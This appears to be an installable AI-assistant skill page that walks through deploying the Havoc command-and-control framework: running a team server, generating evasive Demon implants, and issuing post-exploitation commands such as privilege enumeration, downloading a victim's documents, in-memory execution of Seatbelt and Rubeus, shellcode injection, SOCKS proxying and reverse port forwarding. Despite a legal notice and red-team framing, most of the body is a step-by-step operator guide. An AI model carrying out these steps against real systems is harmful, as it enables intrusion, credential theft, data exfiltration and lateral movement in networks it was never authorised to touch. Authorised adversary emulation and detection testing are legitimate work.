Deploy a Havoc C2 team server with Yaotl malleable profiles, generate evasive Demon agents using indirect syscalls and sleep obfuscation, and run post-exploitation and pivoting operations. Use during authorized, rules-of-engagement-bound red-team engagements for adversary emulation requiring a full C2 lifecycle (server setup, evasive implant generation, tasking, and lateral pivoting).
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Deploy a Havoc C2 team server with Yaotl malleable profiles, generate evasive Demon agents using indirect syscalls and sleep obfuscation, and run post-exploitation and pivoting operations. Use during authorized, rules-of-engagement-bound red-team engagements for adversary emulation requiring a full C2 lifecycle (server setup, evasive implant generation, tasking, and lateral pivoting).
Legal Notice: This skill is for authorized security testing, sanctioned red-team engagements, and education only. Deploying a C2 framework or its agents against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement document.
Overview
Havoc is an open-source, modern command-and-control framework created by @C5pider (https://github.com/HavocFramework/Havoc). Its primary implant, the Demon, is written in C and assembly and was designed from the ground up for evasion: it supports indirect syscalls (Hell's Gate / Halo's Gate), return-address and stack spoofing, and sleep obfuscation techniques (Ekko / FOLIAGE) that encrypt the agent in memory while it sleeps. The team server is the backend that starts listeners, queues tasks, manages agent check-ins, and brokers operator connections over an encrypted WebSocket. Operators connect with the Havoc client, a Qt GUI.
Havoc's behavior is driven by a Yaotl profile — a configuration language forked from HashiCorp's HCL — which defines the team server, operators, listeners, and Demon defaults. Because Havoc has been observed in real intrusions and is favored for its evasion features, exercising it during authorized engagements is valuable for emulating advanced adversary tradecraft and for testing whether EDR and network sensors detect its HTTP(S) C2 and in-memory techniques. This skill covers building Havoc, writing a profile, launching the team server, generating Demon agents, and running post-exploitation and lateral movement.
When to Use
When an authorized red-team engagement calls for an evasive, GUI-driven C2
When emulating an adversary that uses Havoc/Demon (per threat intelligence) in a purple-team exercise
When validating EDR detection of indirect syscalls, sleep obfuscation, and stack spoofing
When demonstrating post-exploitation impact and lateral movement for a report
Prerequisites
A dedicated Linux host (Debian/Ubuntu/Kali) for the team server
Go 1.18+ for the team server; Python 3.10 and Qt5 libraries for the client
mingw-w64 and nasm for cross-compiling the Demon for Windows targets
Run the team server with your profile (privileged ports may require sudo):
# Verbose run with a custom profile
./havoc server --profile profiles/engagement.yaotl -v
# Add debug logging
./havoc server --profile profiles/engagement.yaotl --verbose --debug
Step 3: Connect with the client
Launch the Qt client and connect to the team server using the operator credentials from the profile:
./havoc client
In the connect dialog: enter the team server host, port 40056, operator name operator1, and the profile password. The Demon panel and listener views appear once connected.
Step 4: Create / verify a listener
The HTTP listener defined in the profile loads automatically. To add another at runtime use Listeners → Add in the GUI and configure: Name, Hosts (callback domains/IPs), HostBind, PortBind, PortConn, and whether it is Secure (HTTPS).
Step 5: Generate a Demon agent
In the GUI go to Attack → Payload and configure the Demon build:
Listener:https-listener
Architecture:x64
Format:Windows Exe, Windows Dll, or Windows Shellcode
Sleep Technique:Ekko (encrypts agent memory during sleep)
Stack Spoofing / Proxy Loading: Enabled
Sleep Jmp Gadget: as available
Click Generate to produce the payload. Deliver it to the target through your authorized initial-access method.
Step 6: Interact with the Demon
When a Demon checks in it appears in the session table. Right-click → Interact (or double-click) to open the console. Core post-exploitation commands:
# Situational awareness
whoami
pwd
ls
ps
ipconfig
net localgroup administrators
# Token / privilege
getprivs
token list
# File operations
download C:\Users\victim\Documents\secrets.docx
upload /opt/tools/tool.exe C:\Windows\Temp\tool.exe
Step 7: In-memory execution (.NET and BOFs)
The Demon supports in-memory execution of .NET assemblies and Beacon Object Files, avoiding disk writes:
# Execute a .NET assembly in-memory (e.g., Seatbelt, Rubeus)
dotnet inline-execute /opt/tools/Seatbelt.exe -group=system
# Run a Beacon Object File
inline-execute /opt/bofs/whoami.o
Step 8: Process injection and migration
# Inject shellcode into a spawned/target process
shellcode inject x64 PID /tmp/payload.bin
# Run an assembly under a sacrificial process per profile Injection settings
proc create C:\Windows\System32\notepad.exe
Step 9: Pivot into segmented networks
# Start a SOCKS5 proxy through the Demon for proxychains tooling
socks add 1080
# Port forward (reverse) to reach an internal service
rportfwd add 8443 10.0.5.20 443
Step 10: Clean up
# Remove uploaded artifacts and exit the agent cleanly
rm C:\Windows\Temp\tool.exe
exit
Stop the team server (Ctrl-C) and revoke operator credentials at engagement end.
